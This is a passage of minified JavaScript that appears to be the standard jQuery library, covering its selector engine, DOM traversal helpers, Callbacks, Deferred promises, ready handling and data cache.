c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e);return!1}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}return!1}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,N,e),g(f,c,O,e)):(f++,j.call(a,g(f,c,N,e),g(f,c,O,e),g(f,c,N,c.notifyWith))):(d!==N&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},U=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function V(){this.expando=r.expando+V.uid++}V.uid=1,V.prototype={cache:function(a){var b=a[this.expando];return b||(b={},U(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){Array.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(L)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var W=new V,X=new V,Y=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Z=/[A-Z]/g;function 